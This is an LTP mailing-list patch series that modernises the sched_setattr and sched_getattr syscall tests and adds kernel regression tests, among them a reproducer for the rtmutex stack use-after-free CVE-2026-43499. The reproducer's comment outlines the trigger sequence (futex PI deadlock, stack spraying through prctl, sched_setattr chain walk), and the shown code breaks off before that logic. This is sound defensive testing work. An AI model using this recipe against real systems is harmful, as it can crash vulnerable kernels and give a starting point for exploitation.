* [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
2026-09-10 13:00 ` Cyril Hrubis
2026-09-10 11:57 ` [LTP] [PATCH v9 2/5] sched_getattr01: " Andrea Cervesato
` (4 subsequent siblings)
5 siblings, 1 reply; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Convert the test to the new LTP API and split it into sched_setattr01
for the positive test and sched_setattr02 for the negative tests.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/syscalls | 1 +
testcases/kernel/syscalls/sched_setattr/.gitignore | 1 +
testcases/kernel/syscalls/sched_setattr/Makefile | 1 -
.../syscalls/sched_setattr/sched_setattr01.c | 138 ++++++--------------
.../syscalls/sched_setattr/sched_setattr02.c | 140 +++++++++++++++++++++
5 files changed, 182 insertions(+), 99 deletions(-)
diff --git a/runtest/syscalls b/runtest/syscalls
index 737c63e31..895215488 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1337,6 +1337,7 @@ sched_setaffinity01 sched_setaffinity01
sched_getaffinity01 sched_getaffinity01
sched_setattr01 sched_setattr01
+sched_setattr02 sched_setattr02
sched_getattr01 sched_getattr01
sched_getattr02 sched_getattr02
diff --git a/testcases/kernel/syscalls/sched_setattr/.gitignore b/testcases/kernel/syscalls/sched_setattr/.gitignore
index f2b192d08..8a0b89a74 100644
--- a/testcases/kernel/syscalls/sched_setattr/.gitignore
+++ b/testcases/kernel/syscalls/sched_setattr/.gitignore
@@ -1 +1,2 @@
/sched_setattr01
+/sched_setattr02
diff --git a/testcases/kernel/syscalls/sched_setattr/Makefile b/testcases/kernel/syscalls/sched_setattr/Makefile
index 8fd2bd6f2..81f9dc164 100644
--- a/testcases/kernel/syscalls/sched_setattr/Makefile
+++ b/testcases/kernel/syscalls/sched_setattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir ?= ../../../..
include $(top_srcdir)/include/mk/testcases.mk
-CFLAGS += -pthread
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index 13380d177..f89b829f4 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -1,134 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
*/
- /* Description:
- * Verify that:
- * 1) sched_setattr succeed with correct parameters
- * 2) sched_setattr fails with unused pid
- * 3) sched_setattr fails with invalid address
- * 4) sched_setattr fails with invalid flag
+
+/*\
+ * Verify that :manpage:`sched_setattr(2)` correctly sets the scheduling
+ * attributes of a process and that they can be read back using
+ * :manpage:`sched_getattr(2)`.
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure the
+ * :c:macro:`SCHED_DEADLINE` policy.
+ *
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking into subsequent
+ * test iterations.
*/
#define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
+
#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
#include "lapi/sched.h"
-char *TCID = "sched_setattr01";
-
#define RUNTIME_VAL 10000000
#define PERIOD_VAL 30000000
#define DEADLINE_VAL 30000000
-static pid_t pid;
-static pid_t unused_pid;
-
static struct sched_attr attr = {
.size = sizeof(struct sched_attr),
- .sched_flags = 0,
- .sched_nice = 0,
- .sched_priority = 0,
-
.sched_policy = SCHED_DEADLINE,
.sched_runtime = RUNTIME_VAL,
.sched_period = PERIOD_VAL,
.sched_deadline = DEADLINE_VAL,
};
-static struct test_case {
- pid_t *pid;
- struct sched_attr *a;
- unsigned int flags;
- int exp_return;
- int exp_errno;
-} test_cases[] = {
- {&pid, &attr, 0, 0, 0},
- {&unused_pid, &attr, 0, -1, ESRCH},
- {&pid, NULL, 0, -1, EINVAL},
- {&pid, &attr, 1000, -1, EINVAL}
-};
-
-static void setup(void);
-static void sched_setattr_verify(const struct test_case *test);
-
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-void *do_test(void *data LTP_ATTRIBUTE_UNUSED)
+static void reset_sched(void)
{
- int i;
-
- for (i = 0; i < TST_TOTAL; i++)
- sched_setattr_verify(&test_cases[i]);
+ struct sched_attr normal = {
+ .size = sizeof(normal),
+ .sched_policy = SCHED_OTHER,
+ };
- return NULL;
+ sched_setattr(0, &normal, 0);
}
-static void sched_setattr_verify(const struct test_case *test)
+static void run(void)
{
- TEST(sched_setattr(*(test->pid), test->a, test->flags));
+ struct sched_attr read_attr = { .size = sizeof(read_attr) };
- if (TEST_RETURN != test->exp_return) {
- tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u) "
- "returned: %ld expected: %d",
- *(test->pid), test->flags,
- TEST_RETURN, test->exp_return);
+ TST_EXP_PASS(sched_setattr(0, &attr, 0),
+ "sched_setattr() with valid parameters");
+ if (!TST_PASS)
return;
- }
- if (TEST_ERRNO == test->exp_errno) {
- tst_resm(TPASS | TTERRNO,
- "sched_setattr() works as expected");
+ if (sched_getattr(0, &read_attr, sizeof(read_attr), 0) == -1) {
+ tst_res(TFAIL | TERRNO, "sched_getattr() failed");
return;
}
- tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u): "
- "expected: %d - %s",
- *(test->pid), test->flags,
- test->exp_errno, tst_strerrno(test->exp_errno));
-}
-
-int main(int argc, char **argv)
-{
- pthread_t thread;
- int lc;
+ TST_EXP_EQ_LU(read_attr.sched_policy, SCHED_DEADLINE);
+ TST_EXP_EQ_LU(read_attr.sched_runtime, RUNTIME_VAL);
+ TST_EXP_EQ_LU(read_attr.sched_deadline, DEADLINE_VAL);
+ TST_EXP_EQ_LU(read_attr.sched_period, PERIOD_VAL);
- tst_parse_opts(argc, argv, NULL, NULL);
-
- setup();
-
- for (lc = 0; TEST_LOOPING(lc); lc++) {
- pthread_create(&thread, NULL, do_test, NULL);
- pthread_join(thread, NULL);
- }
-
- tst_exit();
+ reset_sched();
}
-void setup(void)
-{
- unused_pid = tst_get_unused_pid(setup);
-
- tst_require_root();
-
- TEST_PAUSE;
-}
+static struct tst_test test = {
+ .test_all = run,
+ .cleanup = reset_sched,
+ .needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c
new file mode 100644
index 000000000..9f1ccfcd0
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c
@@ -0,0 +1,140 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd., 2015
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that :manpage:`sched_setattr(2)` fails and sets errno to:
+ *
+ * - :c:macro:`ESRCH` when pid is unused
+ * - :c:macro:`EINVAL` when pid is negative
+ * - :c:macro:`EINVAL` when sched_attr address is NULL
+ * - :c:macro:`EFAULT` when sched_attr address is invalid
+ * - :c:macro:`E2BIG` when sched_attr size is smaller than version 0
+ * - :c:macro:`EINVAL` when flags are invalid
+ * - :c:macro:`EINVAL` when sched_policy is invalid
+ * - :c:macro:`EINVAL` when runtime exceeds deadline
+ */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/sched.h"
+
+#define RUNTIME_VAL 10000000
+#define PERIOD_VAL 30000000
+#define DEADLINE_VAL 30000000
+
+static pid_t unused_pid;
+static pid_t invalid_pid = -1;
+static void *bad_addr;
+
+static struct sched_attr attr = {
+ .size = sizeof(struct sched_attr),
+ .sched_policy = SCHED_DEADLINE,
+ .sched_runtime = RUNTIME_VAL,
+ .sched_period = PERIOD_VAL,
+ .sched_deadline = DEADLINE_VAL,
+};
+
+static struct sched_attr attr_small = {
+ .size = SCHED_ATTR_SIZE_VER0 - 1,
+};
+
+static struct sched_attr attr_invalid_policy = {
+ .size = sizeof(struct sched_attr),
+ .sched_policy = 999,
+};
+
+static struct sched_attr attr_bad_dl = {
+ .size = sizeof(struct sched_attr),
+ .sched_policy = SCHED_DEADLINE,
+ .sched_runtime = PERIOD_VAL,
+ .sched_deadline = RUNTIME_VAL,
+ .sched_period = PERIOD_VAL,
+};
+
+static struct tcase {
+ pid_t *pid;
+ struct sched_attr *attr;
+ int bad_attr;
+ unsigned int flags;
+ int exp_errno;
+ const char *desc;
+} tcases[] = {
+ {
+ .pid = &unused_pid,
+ .attr = &attr,
+ .exp_errno = ESRCH,
+ .desc = "sched_setattr() with unused pid",
+ },
+ {
+ .pid = &invalid_pid,
+ .attr = &attr,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with negative pid",
+ },
+ {
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with NULL sched_attr",
+ },
+ {
+ .bad_attr = 1,
+ .exp_errno = EFAULT,
+ .desc = "sched_setattr() with invalid sched_attr address",
+ },
+ {
+ .attr = &attr_small,
+ .exp_errno = E2BIG,
+ .desc = "sched_setattr() with size smaller than version 0",
+ },
+ {
+ .attr = &attr,
+ .flags = 1000,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with invalid flags",
+ },
+ {
+ .attr = &attr_invalid_policy,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with invalid sched_policy",
+ },
+ {
+ .attr = &attr_bad_dl,
+ .exp_errno = EINVAL,
+ .desc = "sched_setattr() with runtime exceeding deadline",
+ },
+};
+
+static void verify_sched_setattr(unsigned int n)
+{
+ struct tcase *tc = &tcases[n];
+ pid_t pid = tc->pid ? *tc->pid : 0;
+ struct sched_attr *target_attr = tc->bad_attr ? bad_addr : tc->attr;
+
+ /*
+ * The kernel writes sizeof(struct sched_attr) back to uattr->size
+ * on the -E2BIG error path, clobbering our test input. Refresh
+ * before each call so re-runs (e.g. -i N) still exercise the
+ * intended size.
+ */
+ attr_small.size = SCHED_ATTR_SIZE_VER0 - 1;
+
+ TST_EXP_FAIL(sched_setattr(pid, target_attr, tc->flags),
+ tc->exp_errno, "%s", tc->desc);
+}
+
+static void setup(void)
+{
+ unused_pid = tst_get_unused_pid();
+ bad_addr = tst_get_bad_addr(NULL);
+}
+
+static struct tst_test test = {
+ .test = verify_sched_setattr,
+ .tcnt = ARRAY_SIZE(tcases),
+ .setup = setup,
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread* [LTP] [PATCH v9 2/5] sched_getattr01: Convert to new API
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
` (3 subsequent siblings)
5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Rewrite the test to use the modern LTP API (tst_test.h) with
TST_EXP_* macros and cleanup callback.
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
testcases/kernel/syscalls/sched_getattr/Makefile | 1 -
.../syscalls/sched_getattr/sched_getattr01.c | 143 ++++++++-------------
2 files changed, 57 insertions(+), 87 deletions(-)
diff --git a/testcases/kernel/syscalls/sched_getattr/Makefile b/testcases/kernel/syscalls/sched_getattr/Makefile
index ea299ff4a..4cef5e763 100644
--- a/testcases/kernel/syscalls/sched_getattr/Makefile
+++ b/testcases/kernel/syscalls/sched_getattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir ?= ../../../..
include $(top_srcdir)/include/mk/testcases.mk
-CFLAGS += -pthread
include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 2e06d1809..0edd9e47e 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -1,105 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
/*
* Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that :manpage:`sched_getattr(2)` correctly reads back the scheduling
+ * attributes of a task configured with :manpage:`sched_setattr(2)`.
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure the
+ * :c:macro:`SCHED_DEADLINE` policy.
*
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking across test iterations.
*/
#define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
-#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
#include "lapi/sched.h"
-char *TCID = "sched_getattr01";
-int TST_TOTAL = 1;
-
#define RUNTIME_VAL 10000000
#define PERIOD_VAL 30000000
#define DEADLINE_VAL 30000000
-void *run_deadline(void *data LTP_ATTRIBUTE_UNUSED)
-{
- struct sched_attr attr, attr_copy;
- int ret;
- unsigned int flags = 0;
- unsigned int size;
-
- attr.size = sizeof(attr);
- attr.sched_flags = 0;
- attr.sched_nice = 0;
- attr.sched_priority = 0;
-
- /* This creates a 10ms/30ms reservation */
- attr.sched_policy = SCHED_DEADLINE;
- attr.sched_runtime = RUNTIME_VAL;
- attr.sched_period = PERIOD_VAL;
- attr.sched_deadline = DEADLINE_VAL;
-
- ret = sched_setattr(0, &attr, flags);
- if (ret < 0)
- tst_brkm(TFAIL | TERRNO, NULL, "sched_setattr() failed");
-
- size = sizeof(attr_copy);
- ret = sched_getattr(0, &attr_copy, size, flags);
- if (ret < 0)
- tst_brkm(TFAIL | TERRNO, NULL, "sched_getattr() failed");
+static struct sched_attr *read_attr;
- int fail = 0;
-
- if (attr_copy.sched_runtime != RUNTIME_VAL) {
- tst_resm(TINFO, "sched_runtime is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_runtime, RUNTIME_VAL);
- fail++;
- }
- if (attr_copy.sched_period != PERIOD_VAL) {
- tst_resm(TINFO, "sched_period is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_period, PERIOD_VAL);
- fail++;
- }
- if (attr_copy.sched_deadline != DEADLINE_VAL) {
- tst_resm(TINFO, "sched_deadline is incorrect (%"PRIu64"),"
- " expected %u", attr.sched_deadline, DEADLINE_VAL);
- fail++;
- }
-
- if (fail)
- tst_resm(TFAIL, "attributes were read back incorrectly");
- else
- tst_resm(TPASS, "attributes were read back correctly");
+static void reset_sched(void)
+{
+ struct sched_attr normal = {
+ .size = sizeof(normal),
+ .sched_policy = SCHED_OTHER,
+ };
- return NULL;
+ sched_setattr(0, &normal, 0);
}
-int main(int argc, char **argv)
+static void run(void)
{
- pthread_t thread;
- int lc;
-
- tst_parse_opts(argc, argv, NULL, NULL);
-
- tst_require_root();
-
- for (lc = 0; TEST_LOOPING(lc); lc++) {
- pthread_create(&thread, NULL, run_deadline, NULL);
- pthread_join(thread, NULL);
- }
-
- tst_exit();
+ struct sched_attr attr = {
+ .size = sizeof(attr),
+ .sched_policy = SCHED_DEADLINE,
+ .sched_runtime = RUNTIME_VAL,
+ .sched_deadline = DEADLINE_VAL,
+ .sched_period = PERIOD_VAL,
+ };
+
+ if (sched_setattr(0, &attr, 0) == -1)
+ tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+
+ memset((void *)read_attr, 0, sizeof(*read_attr));
+
+ TST_EXP_PASS(sched_getattr(0, read_attr, sizeof(*read_attr), 0),
+ "sched_getattr() with valid parameters");
+ if (!TST_PASS)
+ return;
+
+ TST_EXP_EQ_LU(read_attr->sched_policy, SCHED_DEADLINE);
+ TST_EXP_EQ_LU(read_attr->sched_runtime, RUNTIME_VAL);
+ TST_EXP_EQ_LU(read_attr->sched_deadline, DEADLINE_VAL);
+ TST_EXP_EQ_LU(read_attr->sched_period, PERIOD_VAL);
+
+ reset_sched();
}
+
+static struct tst_test test = {
+ .test_all = run,
+ .cleanup = reset_sched,
+ .needs_root = 1,
+ .bufs = (struct tst_buffers []) {
+ {&read_attr, .size = sizeof(*read_attr)},
+ {},
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread* [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR()
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 2/5] sched_getattr01: " Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
` (2 subsequent siblings)
5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add a safe variant of sched_setattr() that breaks the test with TBROK
on failure and use it in sched_setattr01 and sched_getattr01.
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
include/lapi/sched.h | 35 ++++++++++++++++++++++
.../syscalls/sched_getattr/sched_getattr01.c | 5 ++--
.../syscalls/sched_setattr/sched_setattr01.c | 2 +-
3 files changed, 38 insertions(+), 4 deletions(-)
diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 05b322c1c..d623ea7cf 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -169,4 +169,39 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
# define CLONE_INTO_CGROUP 0x200000000ULL
#endif
+static inline int safe_sched_setattr(const char *file, const int lineno,
+ pid_t pid, struct sched_attr *attr,
+ unsigned int flags)
+{
+ int ret;
+
+ ret = sched_setattr(pid, attr, flags);
+
+ if (ret == -1) {
+ if (attr) {
+ tst_brk_(file, lineno, TBROK | TERRNO,
+ "sched_setattr(%i, {size=%u, policy=%u}, %u) failed",
+ pid, attr->size, attr->sched_policy, flags);
+ } else {
+ tst_brk_(file, lineno, TBROK | TERRNO,
+ "sched_setattr(%i, NULL, %u) failed", pid, flags);
+ }
+ }
+
+ return ret;
+}
+
+/**
+ * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().
+ * @pid: Target process or thread ID (0 for caller).
+ * @attr: Pointer to a sched_attr structure.
+ * @flags: Flags modifying the scheduling behavior.
+ *
+ * Calls sched_setattr() and breaks the test with TBROK | TERRNO on failure.
+ *
+ * Return: Zero on success.
+ */
+#define SAFE_SCHED_SETATTR(pid, attr, flags)\
+ safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
+
#endif /* LAPI_SCHED_H__ */
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 0edd9e47e..bd05164ca 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -34,7 +34,7 @@ static void reset_sched(void)
.sched_policy = SCHED_OTHER,
};
- sched_setattr(0, &normal, 0);
+ SAFE_SCHED_SETATTR(0, &normal, 0);
}
static void run(void)
@@ -47,8 +47,7 @@ static void run(void)
.sched_period = PERIOD_VAL,
};
- if (sched_setattr(0, &attr, 0) == -1)
- tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+ SAFE_SCHED_SETATTR(0, &attr, 0);
memset((void *)read_attr, 0, sizeof(*read_attr));
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index f89b829f4..93e532774 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -44,7 +44,7 @@ static void reset_sched(void)
.sched_policy = SCHED_OTHER,
};
- sched_setattr(0, &normal, 0);
+ SAFE_SCHED_SETATTR(0, &normal, 0);
}
static void run(void)
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread* [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
` (2 preceding siblings ...)
2026-09-10 11:57 ` [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
2026-09-10 11:57 ` [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
2026-09-10 12:41 ` [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato via ltp
5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add the following fallback definitions:
- PR_SET_MM
- PR_SET_MM_MAP
- struct prctl_mm_map
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
configure.ac | 2 ++
include/lapi/prctl.h | 24 ++++++++++++++++++++++++
2 files changed, 26 insertions(+)
diff --git a/configure.ac b/configure.ac
index 19fc5e1b8..052b83e04 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
AC_CHECK_TYPES([struct sockaddr_vm],,,[
#include <sys/socket.h>
#include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32..3394a8581 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,7 +7,9 @@
#ifndef LAPI_PRCTL_H__
#define LAPI_PRCTL_H__
+#include <stdint.h>
#include <sys/prctl.h>
+#include "config.h"
#ifndef PR_SET_NAME
# define PR_SET_NAME 15
@@ -59,4 +61,26 @@
# define PR_SET_SPECULATION_CTRL 53
#endif
+#ifndef PR_SET_MM
+# define PR_SET_MM 35
+#endif
+
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP 14
+#endif
+
+#ifndef HAVE_STRUCT_PRCTL_MM_MAP
+struct prctl_mm_map {
+ uint64_t start_code, end_code;
+ uint64_t start_data, end_data;
+ uint64_t start_brk, brk;
+ uint64_t start_stack;
+ uint64_t arg_start, arg_end;
+ uint64_t env_start, env_end;
+ uint64_t *auxv;
+ uint32_t auxv_size;
+ uint32_t exe_fd;
+};
+#endif
+
#endif /* LAPI_PRCTL_H__ */
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread* [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer
2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
` (3 preceding siblings ...)
2026-09-10 11:57 ` [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
2026-09-10 12:41 ` [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato via ltp
5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add "Ghostlock" reproducer for CVE-2026-43499.
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 2 +-
testcases/cve/ghostlock.c | 277 ++++++++++++++++++++++++++++++++++++++++++++++
4 files changed, 280 insertions(+), 1 deletion(-)
diff --git a/runtest/cve b/runtest/cve
index b096bacef..894863e33 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -88,6 +88,7 @@ cve-2023-1829 tcindex01
cve-2023-0461 setsockopt10
cve-2023-31248 nft02
cve-2023-52879 fanotify25
+cve-2026-43499 ghostlock
cve-2026-53362 setsockopt11
cve-2026-64600 refluxfs
# Tests below may cause kernel memory leak
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index a167a8743..418d67566 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,5 +16,6 @@ tcindex01
cve-2025-38236
cve-2025-21756
cve-2026-46331
+ghostlock
refluxfs
sctphantom
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 6be4999a3..b4e4178eb 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash: CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
cve-2016-7042: LDLIBS += $(KEYUTILS_LIBS)
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs: CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock refluxfs: CFLAGS += -pthread
cve-2014-0196 cve-2016-7117 cve-2017-2671: LDLIBS += -lrt
ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 000000000..2c24368f7
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,277 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in
+ * remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ * pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)`
+ * (PR_SET_MM_MAP) with non-canonical addresses while main thread calls
+ * :manpage:`sched_setattr(2)` on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ * kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_SPRAYED 2
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
